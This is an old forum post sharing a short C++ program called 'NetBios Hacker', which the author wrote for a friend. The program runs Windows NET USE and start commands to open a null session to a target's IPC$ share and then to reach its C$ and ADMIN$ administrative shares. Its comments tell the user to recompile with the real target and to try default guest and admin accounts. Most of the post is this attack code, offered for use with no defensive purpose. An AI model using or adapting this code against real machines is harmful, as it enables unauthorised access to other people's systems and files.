09-05-2008, 08:30 AM
Ok a friend of mine asked me if I could do him a tool that'll access NetBios through a null session and other shares... I could have probably done this with an *.bat but this is better and I have more style, the only problem is, is you'll have to re-compile chaging TARGET to your actual target as I haven't yet found a way to use variables to work with system calls in C++, I may do it in Java actually, anyway have fun...
Code:
#include<iostream>
#include<string>
using namespace std;
int main()
{
//re-compile with your target IP/host name
cout<<"NetBios Hacker by System error\n";
cout<<"http://hackersparadise.synthasite.com\n";
cout<<"Attempting null session...\n";
system("NET USE \\\\TARGET\\IPC$ "" /U:""");
cout<<"Checking Shares...\n";
system("NET USE \\\\TARGET");
cout<<"Attempting to start \\\\TARGET...\n";
system("start \\\\TARGET");
cout<<"Attempting to start IPC$...\n";
system("start \\\\TARGET\\IPC$");
cout<<"Attemting to start C$ (try default guest 'n' admin accounts)...\n";
system("start \\\\TARGET\\C$");
cout<<"Attempting to access ADMIN$ share (again check defaults)...\n";
system("start \\\\TARGET\\ADMIN$");
cout<<"---------------------------------------------------------\nFinished.\n\n";
system("PAUSE");
}